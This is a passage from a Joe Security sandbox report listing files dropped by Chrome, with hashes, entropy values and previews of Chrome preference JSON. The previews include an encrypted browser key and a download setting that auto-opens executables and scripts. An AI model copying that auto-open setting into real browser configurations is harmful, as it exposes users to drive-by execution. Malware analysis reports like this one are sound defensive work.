Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Google\Chrome\User Data\05c7e28c-2c44-4de2-8fe9-9e5f2127adc6.tmp
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Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"91.0.4472.77"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user
":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.653666293692891e+12,"network":1.653633895e+12,"ticks":175575671.0,"uncertainty":3073171.0}},"os_crypt":{"encrypted_key":"RFB
BUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABBQ7WxpM2gT7fMNkY5iRxkAAAAAAIAAAAAABBmAAAAAQAAIAAAALDWDwoLRYqp0NkiPsTxUN2QcOPsitaJrda
cpo+ULE2PAAAAAA6AAAAAAgAAIAAAAOIeKQBWbQSCqXv1OSNS2lIZGHfAdJRwvbkapN4/FWvwMAAAAPz8I/w07KQb4Ut8ObsBGVgFwbuU88R362cCGZpNEtO
EILJDMaKWOA4Y9ejBRTt5kEAAAADq8RkIezfgqGPgEaEMkhoGd9qhyBeyucXcRUPEI7mgYIxaDt8C5FJrjkEhV5EOUcUmR2SCzqYelImLnfOlbhRQ"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13288110187278364"},"plugins":{"metadata":{"adobe-flash-player":{"displ

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 109764

Entropy (8bit): 6.065419039497741

Encrypted: false

SSDEEP: 1536:Q+Gqu0XGM1CCHq42oiVfqchXJlAL3VYhLoAwgJyvjwf0hCsjUtjOjXMWu:Q+7XTCCHq44gMY3VYhtyUf2RgyjXa

MD5: 9B8192114779AB14DC306AC5F43D17C0

SHA1: ECA18620994D6DBE857BB2DA2E2449FD261EB696

SHA-256: 3C5ADBBB3D77795DA976C63A0C212E7A6CE98271602D6A0A4E97BAA17B7F7998

SHA-512: 55BDD8F9DF594BA191D8284FA0FE7C798DBEE70C9DBBF5CE4DC434757E26470B5DF0A3B858A878A904AFC551EFEBCE37B1E5B6C9B5D9E5151A55FDD1CCB2
824B

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"91.0.4472.77"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user
":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.653666293692891e+12,"network":1.653633895e+12,"ticks":175575671.0,"uncertainty":3073171.0}},"os_crypt":{"encrypted_key":"RFB
BUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABBQ7WxpM2gT7fMNkY5iRxkAAAAAAIAAAAAABBmAAAAAQAAIAAAALDWDwoLRYqp0NkiPsTxUN2QcOPsitaJrda
cpo+ULE2PAAAAAA6AAAAAAgAAIAAAAOIeKQBWbQSCqXv1OSNS2lIZGHfAdJRwvbkapN4/FWvwMAAAAPz8I/w07KQb4Ut8ObsBGVgFwbuU88R362cCGZpNEtO
EILJDMaKWOA4Y9ejBRTt5kEAAAADq8RkIezfgqGPgEaEMkhoGd9qhyBeyucXcRUPEI7mgYIxaDt8C5FJrjkEhV5EOUcUmR2SCzqYelImLnfOlbhRQ"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13288110187278364"},"plugins":{"metadata":{"adobe-flash-player":{"displ

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 96852

Entropy (8bit): 3.7589374462122933

Encrypted: false

SSDEEP: 384:OH9n9M4WUaBK1ZqyYoVuVBH9j6Vf/jqql1eDuTS2kQCKNmXkXRVTAjV2U/Hq6cV4:MGoqTwar/4JfCR+RVKCmxWY

MD5: 56FBEBD14B373EF229D285497468FAFA

SHA1: 0395DFA6AEB44009DFFBABF6C825E5D03D500EFB

SHA-256: 40FBA3D5343C647711DF491FEF28FB1767CE087E5EBBC926CA32F8E3E0461174

SHA-512: 737A3083FA37AB61899CD87BEE05DE5A95D8C67786211C007F0F3A861785A5A91B8BE5EADA715AB895B841D905D7B110028600928213EC085418F7CD2A54DE30

Malicious: false

Reputation: low

Preview: Pz..............T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e.\.2.1...0.8.3...0.4.2.5...0.0.0.3.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l.......puA...
c.:.\.p.r.o.g.r.a.m. .f.i.l.e.s. .(.x.8.6.).\.m.i.c.r.o.s.o.f.t. .o.n.e.d.r.i.v.e.\.2.1...0.8.3...0.4.2.5...0.0.0.3.\.a.m.d.6.4.\.......f.i.l.e.s.y.n.c.s.h.e.l.l.6.4...d.l.l.......M.i.c.r.o.s.o.f.t. .
O.n.e.D.r.i.v.e."...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n.....2.1...0.8.3...0.4.2.5...0.0.0.3.....T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.
n.e.D.r.i.v.e.\.2.1...0.8.3...0.4.2.5...0.0.0.3.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...g]8. ...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.7.-.Z.i.p.
\.7.-.z.i.p...d.l.l.......n\....%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.7.-.z.i.p.\.......7.-.z.i.p...d.l.l.......7.-.Z.i.p.......7.-.Z.i.p. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n.......1.9...0.0...............g]8.....

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 97592

Entropy (8bit): 3.7589541942634903

Encrypted: false

SSDEEP: 384:W9n9M4WUaBK1ZqyYoVuVBH9j6Vf/jqql1eDuTS2kQCKNmXkXRVTAjV2U/+Dq6cVY:2GoqTFar/4JfCR+RVKCmxW4

MD5: 7159A16EF5CE05A9594B250CD51AD690

SHA1: 7394B423F8DF7D634C7E7BB203E066BD8083B13F

SHA-256: F643FA4AE000DED2E98F1E05F601D788016B1A0B0B0602835835D1EADC9114CA

SHA-512: 3E16862A963FCDD2DF419B574E3B963F8B8EEB0675B276EBC6EA11C79C6AD25F6DF44C9654528F87260F525DED8EE5881CD4D089125AD491D9767290E7C0112
D

C:\Users\user\AppData\Local\Google\Chrome\User Data\5a5b7c92-cb -4218-9d19-ef0285cd1ada.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\617138bb-5c14-42dc-bcfc-571be3baf180.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\7375f7e6-e90a-43cc-9f19-b84489d49712.tmp

Copyright Joe Security LLC 2022 Page 13 of 95



Malicious: false

Reputation: low

Preview: 4}..............T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e.\.2.1...0.8.3...0.4.2.5...0.0.0.3.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l.......puA...
c.:.\.p.r.o.g.r.a.m. .f.i.l.e.s. .(.x.8.6.).\.m.i.c.r.o.s.o.f.t. .o.n.e.d.r.i.v.e.\.2.1...0.8.3...0.4.2.5...0.0.0.3.\.a.m.d.6.4.\.......f.i.l.e.s.y.n.c.s.h.e.l.l.6.4...d.l.l.......M.i.c.r.o.s.o.f.t. .
O.n.e.D.r.i.v.e."...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n.....2.1...0.8.3...0.4.2.5...0.0.0.3.....T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.
n.e.D.r.i.v.e.\.2.1...0.8.3...0.4.2.5...0.0.0.3.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...g]8. ...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.7.-.Z.i.p.
\.7.-.z.i.p...d.l.l.......n\....%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.7.-.z.i.p.\.......7.-.z.i.p...d.l.l.......7.-.Z.i.p.......7.-.Z.i.p. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n.......1.9...0.0...............g]8.....

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 105269

Entropy (8bit): 6.035675019707113

Encrypted: false

SSDEEP: 1536:AGqu0XGM1CCHq42oiVfqchXJlAL3VYhLoAwgJyvjwf0hCsjUtjOjXMWu:A7XTCCHq44gMY3VYhtyUf2RgyjXa

MD5: E385ED3AD20C326B56FF0A7A018B3DE4

SHA1: 0EB49C758C6B338ED991D574D1D95FB799CB69D0

SHA-256: D40031E309AB3D9FFEB56D9F9E6EE588632ECC0C67958A524DA7FDC10D40D526

SHA-512: 9611C58B08C95CAFFFE764EC1E3AB93DBCA9FD7BB6DB831C3C566B735DE071128EFD6A70A23FE12E0386383499F664CAE166175D1E29646D7216FC41098DF76
C

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"91.0.4472.77"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user
":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.653666293692891e+12,"network":1.653633895e+12,"ticks":175575671.0,"uncertainty":3073171.0}},"os_crypt":{"encrypted_key":"RFB
BUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABBQ7WxpM2gT7fMNkY5iRxkAAAAAAIAAAAAABBmAAAAAQAAIAAAALDWDwoLRYqp0NkiPsTxUN2QcOPsitaJrda
cpo+ULE2PAAAAAA6AAAAAAgAAIAAAAOIeKQBWbQSCqXv1OSNS2lIZGHfAdJRwvbkapN4/FWvwMAAAAPz8I/w07KQb4Ut8ObsBGVgFwbuU88R362cCGZpNEtO
EILJDMaKWOA4Y9ejBRTt5kEAAAADq8RkIezfgqGPgEaEMkhoGd9qhyBeyucXcRUPEI7mgYIxaDt8C5FJrjkEhV5EOUcUmR2SCzqYelImLnfOlbhRQ"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13288110187278364"},"policy":{"last_statistics_update":"132981398909024

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 105157

Entropy (8bit): 6.034778706360892

Encrypted: false

SSDEEP: 1536:rGqu0XGM1CCHq42oiVfqchXJlAL3VYhLoAwgJyvjwf0hCsjUtjOjXMWu:r7XTCCHq44gMY3VYhtyUf2RgyjXa

MD5: 9BB37FC665B793D2A3D03D7B5F9E143A

SHA1: D8E37D42FC1B0011548875B7A9A07E2CEE1DF039

SHA-256: 8D4A0E8C6F46B21EF39974740FD3E27D5D33B3A1DF6F2B2665E90E1287BA838F

SHA-512: B980E658FE32FE739E5D1B7448413FE76D58A5271AEED11F0F06D5138E4116A9A7A02265AC2993477B48D3E71B0809E2D4C87DF967D0F73B2DEC8967230E3A7D

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"91.0.4472.77"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user
":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.653666293692891e+12,"network":1.653633895e+12,"ticks":175575671.0,"uncertainty":3073171.0}},"os_crypt":{"encrypted_key":"RFB
BUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABBQ7WxpM2gT7fMNkY5iRxkAAAAAAIAAAAAABBmAAAAAQAAIAAAALDWDwoLRYqp0NkiPsTxUN2QcOPsitaJrda
cpo+ULE2PAAAAAA6AAAAAAgAAIAAAAOIeKQBWbQSCqXv1OSNS2lIZGHfAdJRwvbkapN4/FWvwMAAAAPz8I/w07KQb4Ut8ObsBGVgFwbuU88R362cCGZpNEtO
EILJDMaKWOA4Y9ejBRTt5kEAAAADq8RkIezfgqGPgEaEMkhoGd9qhyBeyucXcRUPEI7mgYIxaDt8C5FJrjkEhV5EOUcUmR2SCzqYelImLnfOlbhRQ"},"policy":{"las
t_statistics_update":"13298139890902465"},"profile":{"info_cache":{"Default":{"active_time":1653666292.240403,"avatar_icon":"chrom

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 105176

Entropy (8bit): 6.035085849716264

Encrypted: false

SSDEEP: 1536:IGqu0XGM1CCHq42oiVfqchXJlAL3VYhLoAwgJyvjwf0hCsjUtjOjXMWu:I7XTCCHq44gMY3VYhtyUf2RgyjXa

MD5: 26B3B21A9B1C9C501840DC96B178D0FE

SHA1: 57611F017A4E4D29706E550910D68D7F8F4BFC50

SHA-256: 3BC5B95F50096EBA47646B380CA4951AFD10791BBCF5EE609C7F184ECD94E89C

C:\Users\user\AppData\Local\Google\Chrome\User Data\7522da09-77e7-4b73-8b0a-6e1b1a88d4cb.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\84e12f83-f77c-4f0f-83a8-383c2d6478e5.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\9cb3c522-45f3-4a68-b2e9-14341f5e35c2.tmp
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SHA-512: E6AB43479D0F2203C58D905F4DBF0AB1FF0164F38D8BD34C2CBD81223200B245192CC38A5854D478C56A6A2C687AC3DEE66C4FE095296CED5250B32A516D2BF
5

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"91.0.4472.77"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user
":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.653666293692891e+12,"network":1.653633895e+12,"ticks":175575671.0,"uncertainty":3073171.0}},"os_crypt":{"encrypted_key":"RFB
BUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABBQ7WxpM2gT7fMNkY5iRxkAAAAAAIAAAAAABBmAAAAAQAAIAAAALDWDwoLRYqp0NkiPsTxUN2QcOPsitaJrda
cpo+ULE2PAAAAAA6AAAAAAgAAIAAAAOIeKQBWbQSCqXv1OSNS2lIZGHfAdJRwvbkapN4/FWvwMAAAAPz8I/w07KQb4Ut8ObsBGVgFwbuU88R362cCGZpNEtO
EILJDMaKWOA4Y9ejBRTt5kEAAAADq8RkIezfgqGPgEaEMkhoGd9qhyBeyucXcRUPEI7mgYIxaDt8C5FJrjkEhV5EOUcUmR2SCzqYelImLnfOlbhRQ"},"policy":{"las
t_statistics_update":"13298139890902465"},"profile":{"info_cache":{"Default":{"active_time":1653666292.240403,"avatar_icon":"chrom

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 40

Entropy (8bit): 3.254162526001658

Encrypted: false

SSDEEP: 3:FkXSoWA0:+g

MD5: FA7200D6F80CD1757911C45559E59C0E

SHA1: 89C6E99BAEC4EBB3E9A97B928FB473D1498EBA88

SHA-256: D9779EA4D6DD544A23C2A1C53146B6A4E596927F47DFA0680B0A7EE751D43BB2

SHA-512: 71D9B2DA8EAF404063D918812BA61C3EFB6A23A283B0332180A38C8137FBB21D7977C008D5A57A74469776945CD4ED42C0BCC09F923EDEC52D8F7FE90FA2D10
4

Malicious: false

Reputation: low

Preview: sdPC.....................A.>'..M..,.,.-.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4349

Entropy (8bit): 5.042572765705404

Encrypted: false

SSDEEP: 96:nNDMKIDAaRWMoiVmde+lkB1u0VrMVXAiZw4:nFM9WMCkBA0Vq

MD5: E3797A85EF2D5EA80494F103E760BB27

SHA1: 84DE12A69EC00B21956869B8F3F796B244236224

SHA-256: 8D9E0BAE1CE654DE97E205C76EBA5AE4C9B3F3718CDEB992798D760B0AB9D00C

SHA-512: BD8825FB63BA7B097986133AEEED181B624C82371308398AC93FFA1924E420D7182745940841C247420CB76D61410CBEB6A308205FBB790AF343162C69A8B0D8

Malicious: false

Reputation: low

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13298139892708830","alternate_error_pages":{"backup":true},"autocomplete":{"retention_pol
icy_last_version":92},"autofill":{"orphan_rows_removed":true},"browser":{"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work
_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"this_week_number":2734,"this_wee
k_services_downstream_foreground_kb":{"112189210":5,"115188287":51,"21145003":243,"35565745":2,"5151071":2,"88863520":1}},"default_apps_install_state"
:2,"domain_diversity":{"last_reporting_timestamp":"13298139892695632"},"download":{"directory_upgrade":true},"extensions":{"alerts":{"initialized":true},"chrome
_url_overrides":{},"last_chrome_version":"92.0.4515.107"},"gaia_cookie":{"changed_time":1653666294.673179,"hash":"2jmj7l5rSw0yVb/vlWAYkK/YBwk=","last_list_accou
nts_data":"[\"gaia.l.a.r\",[]]"},"gcm":{"product_c

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4475

Entropy (8bit): 5.047541504746548

Encrypted: false

SSDEEP: 96:nNDMKID4aRWMoiVmde9kxMFP0VrMVXAiZw4:nFMlWMNkxm0Vq

MD5: 1805D64B8B5240D5927E2E5F05CBA202

SHA1: C7F174EB5A6A3C322CDAC89E34D5126E37707F24

SHA-256: F7F343F4421AA06FF8F63A147A4A619D402DEB49A72A3D71B7478EBB5855164F

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\00f72e28-6829-49eb-8a1a-5518f8e111c4.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\04253e22-fdcc-46e9-b6a7-8a082598dc17.tmp
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SHA-512: 1C7F4C0306FDB0244FCB77ED0BADD71DD91814DC365EE5BF8CF06B9ED183A8248BEDE1C48EF78C88CD118B2E422184C8AF17F3F8780261EE4DEEB611EF098
C64

Malicious: false

Reputation: low

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13298139892708830","alternate_error_pages":{"backup":true},"autocomplete":{"retention_pol
icy_last_version":92},"autofill":{"orphan_rows_removed":true},"browser":{"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work
_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"this_week_number":2734,"this_wee
k_services_downstream_foreground_kb":{"112189210":22,"115188287":51,"21145003":243,"35565745":2,"49601082":3,"5151071":2,"54845618":25,"88863520":1}},
"default_apps_install_state":2,"domain_diversity":{"last_reporting_timestamp":"13298139892695632"},"download":{"directory_upgrade":true},"extensions":{"alerts":{"initiali
zed":true},"chrome_url_overrides":{},"last_chrome_version":"92.0.4515.107"},"gaia_cookie":{"changed_time":1653666294.673179,"hash":"2jmj7l5rSw0yVb/vlW
AYkK/YBwk=","last_list_accounts_data":"[\"gaia.l.a

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3343

Entropy (8bit): 4.945222848960228

Encrypted: false

SSDEEP: 48:YXsVVMHzzsmdAMHtKsyfDszmcQ/RLsOcXSsM1PzshVMH8sp1AAMHDysKGMHTFsB5:PGqGctrmKwGPTGD7GSGMphH

MD5: CAB8BEABE7E66A4015C98A3C77B3698B

SHA1: C960AAAEA7014E105290C7D0F09BFCA837C8E8CC

SHA-256: 75431010BFE77818B8BEF4B0C4B328C00668DC6B13C09AAB769EBF58BDA4EDF7

SHA-512: 0D1E94E84294AEA4BF400FF9D0654748BFFEB92D3A1643A6A13B541ADB1BC13EA2F649560A27C8CC3D8AEF9DA5D6B668C7E3BE696091CE882A475B91A9A4C
AC8

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3-29"],"expiration":"13270230891381309","port":443,"protocol_str":"quic"},{"ad
vertised_alpns":["h3-Q050"],"expiration":"13270230891381310","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":39697},"server":"https://www.google
apis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3-29"],"expiration":"13270230887958662","port":443,"protocol_str":"quic"},{"advertised_alpn
s":["h3-Q050"],"expiration":"13270230887958664","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":52163},"server":"https://clients2.googleusercont
ent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3-29"],"expiration":"13270230886326794","port":443,"protocol_str":"quic"},{"advertised_alpns
":["h3-Q050"],"expiration":"13270230886326795","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://clients2.google.com","supports_spdy

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 15765

Entropy (8bit): 5.573430585681071

Encrypted: false

SSDEEP: 384:6CJttLl1X41kXqKf/pUZNCgVLH2HfE8rUwZTnr74m:RLlR41kXqKf/pUZNCgVLH2HftrUI7Z

MD5: D553B3946A63D7AD54C37B6405263597

SHA1: 235C7D5050EF3BC044B04AD2E43447A4E5158403

SHA-256: 42AD290C1F91100948C14A389E780F3AFBCC18559DEFFBF2F1D0B8046E972717

SHA-512: 1791C79021FE1E2E0071297D67B8EE5EB0A00F2BEBC70489B3883A0B2DA2CC016493DAD3B048646279FFA8567F6E1592814380D6EA7D16970A7C9CF2B0E20D21

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13298139891234227","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4439

Entropy (8bit): 5.051177137830738

Encrypted: false

SSDEEP: 96:nBDMKIDAaRWMoiVmdejkNjd0VrMVXAiZw4:nxM9WMzkNB0Vq

MD5: 2A730DC4C56516C6F43E1B6DF277F054

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\113bc00b-f850-4425-a2c1-2094a8b8199a.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\14b7a7ac-d93a-4024-a464-58c76dd3fe3f.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\46e181a6-417b-4ca0-a1f7-4d79b32f0c24.tmp
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SHA1: 8172BE2EBC681C4C714056053BB112FFFA7BA77A

SHA-256: 59F3C15B0BD58C1BF562C7ED93FB88F67CF4718E664E7EC8EB47D5C8C8D2FA39

SHA-512: CAFA9A5381717E55F66E03FBB90CF548341DA6C2073EE01D4B6BE541A3BBB085348BE8B6CD732C92B7437A16BFBA89451090A0310F429006560603BA08A6F00D

Malicious: false

Reputation: low

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13298139892708830","alternate_error_pages":{"backup":true},"autocomplete":{"retention_pol
icy_last_version":92},"autofill":{"orphan_rows_removed":true},"browser":{"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work
_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"this_week_number":2734,"this_wee
k_services_downstream_foreground_kb":{"112189210":5,"115188287":51,"21145003":243,"35565745":2,"49601082":3,"5151071":2,"54845618":24,"88863520":1}},"
default_apps_install_state":2,"domain_diversity":{"last_reporting_timestamp":"13298139892695632"},"download":{"directory_upgrade":true},"extensions":{"alerts":{"initializ
ed":true},"chrome_url_overrides":{},"last_chrome_version":"92.0.4515.107"},"gaia_cookie":{"changed_time":1653666294.673179,"hash":"2jmj7l5rSw0yVb/vlWA
YkK/YBwk=","last_list_accounts_data":"[\"gaia.l.a.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 18396

Entropy (8bit): 5.554902404053173

Encrypted: false

SSDEEP: 384:6ortfLl1Xd1kXqKf/pUZNCgVLH2HfEMrU/HG4Lubu74F:HLlRd1kXqKf/pUZNCgVLH2HfbrUvGw76

MD5: 778B0E168896C3343C9406B15BCADA1F

SHA1: 734E0055CDD8506C9DC4AFAF7ABF47BC962590DE

SHA-256: 6D1FB693669D5172CFF5C2BC4B5160E56C40CE073A66AB8B65C07D8EFB9F2847

SHA-512: A2928F40D451E6E4E227521183D094FC985DABB930F54237E0E42EA678945ABFB63F530F721B3BC0AFBE2E52F672E9B130656464480163044AE6AE28BF7A83EB

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13298139891234227","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3488

Entropy (8bit): 4.956427571948674

Encrypted: false

SSDEEP: 48:Yc4vl2rAXqwoTw0aqO8cO1TSUQ/9BhUIEyMoI3HmeSye7peVGpHUtqoonVuAip:nVznDAaRWMoiVmdek0tMVuAip

MD5: 358682D8B9DAAE6D69012B6D219D9C62

SHA1: A899C7A15B3688E4C8CEC3CDE023968579CF5854

SHA-256: BF3333330780DBF1BCAAA7050DBC8627A1FBDC0C06AAAF082B285FC9EDEA5167

SHA-512: 0292C94539F0F981FCA956E3ED3D98FBDA7E959178EAC976AEF41AB5991C102B0FBBED3A68FA8AEB8664055293A72C747A0288AA46AB26BFC612DC2F1B6774
C3

Malicious: false

Reputation: low

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13298139892708830","alternate_error_pages":{"backup":true},"autofill":{"orphan_rows_remov
ed":true},"browser":{"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_righ
t":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"this_week_number":2734},"default_apps_install_state":2,"domain_diversity":{"last_rep
orting_timestamp":"13298139892695632"},"extensions":{"alerts":{"initialized":true},"chrome_url_overrides":{},"last_chrome_version":"92.0.4515.107"},"gcm":{"prod
uct_category_for_subtypes":"com.chrome.windows"},"google":{"services":{"signin_scoped_device_id":"1bae182b-ba04-43f3-887b-5b5f1c4f2764"}},"intl":{"selected_lang
uages":"en-US,en"},"invalidation":{"per_sender_topics_to_handler":{"1013309121859":{},"8181035976":{}}},"media":{"device_id_salt":"DD14E0895A74AB79AEB
CD5C43FFAC694","engagement":{"schema_version":4}},

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5bc4a97b-6e5c-43db-b045-a66004d19f8a.tmp

